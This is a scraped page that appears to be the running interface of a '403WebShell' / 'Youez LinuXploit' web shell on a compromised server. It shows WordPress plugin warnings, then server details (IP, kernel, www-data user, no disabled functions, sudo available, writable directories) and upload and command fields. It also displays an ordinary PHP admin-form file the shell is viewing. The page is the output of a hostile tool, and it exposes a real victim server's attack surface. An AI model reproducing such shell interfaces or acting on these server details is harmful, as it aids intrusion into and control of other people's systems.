Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/theyoungdesigners_com/modules/storeAssembly/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/theyoungdesigners_com/modules/storeAssembly/view/storeclient_assembly.php
<?php

class StoreClient_Assembly extends View {


	public function store_assembly_tab() {
		$button  = hook_execute_late('html.button', '', 'update', 'fas fa-angle-double-right', 'cc-blue');
		$button2 = hook_execute_late('html.button', '', 'Add Product', 'fas fa-plus-square', 'cc-blue');

		$html = <<<BLOCK
<form method="post" class="frm json" action="/admin/product-assembly/{{sp_id}}/set-assembly">
<input type="hidden" name="auth" value="{{auth}}">

<div class="control-group cf-checkbox">
	<label>&nbsp;</label>
	<div class="controls">
		<div class="control-checkbox" style="width:700px">
			<input type="checkbox" id="sp_assembly" name="sp_assembly" value="1"{{#if sp_assembly}} checked{{/if}}> 
			<label for="sp_assembly">Is this a Product Assembly?</label>
		</div>
	</div>
</div>

<div class="control-group products">
	<label for="products">Products</label>
	<div class="controls input-frame" style="width:700px">
		{{#each products}}<div style="padding: 3px 0">
			<a class="product-item prodButton json-request" href="/admin/product-assembly/{{@root/sp_id}}/popup-edit?auth={{auth}}">
				<span class="product-desc">{{desc}} [{{sku}}]</span>
				<span class="product-qty">{{qty}}</span>
			</a>
		</div>{{/each}}
	</div>
</div>

<div class="form-actions right"><a class="json-request" href="/admin/product-assembly/{{sp_id}}/popup-add?auth={{auth}}">$button2</a> &nbsp; <a class="submit json" href="#">$button</a></div>
</form>

BLOCK;
		$this('store_assembly_tab')->html($html);
	}

	public function store_assembly_popup() {
		$html = <<<'BLOCK'
<form class="frm json" method="post" action="/admin/product-assembly/{{sp_id}}/popup-save">
	<input type="hidden" name="auth" value="{{auth}}">
	
	<div class="control-group cf-public required">
		<label for="product_id">Product</label>
		<div class="controls">
			<select id="product_id" name="product_id">
				<option value="">(select a product)</option>
				{{#each list_product}}<option value="{{key}}"{{#ifeq key @root/product_id}} selected{{/ifeq}}>{{value}}</option>{{/each}}
			</select> 
		</div>
		<div class="status-message" for="product_id"></div>
	</div>

	<div class="control-group quantity">
		<label for="quantity">Quantity</label>
		<div class="controls" style="width:220px">
			<input type="text" id="quantity" name="quantity" size="30" value="{{quantity}}">
		</div>
		<div class="status-message" for="quantity"></div>
	</div>

</form>

BLOCK;
		$this('store_assembly_popup')->html($html);
	}


}

Youez - 2016 - github.com/yon3zu
LinuXploit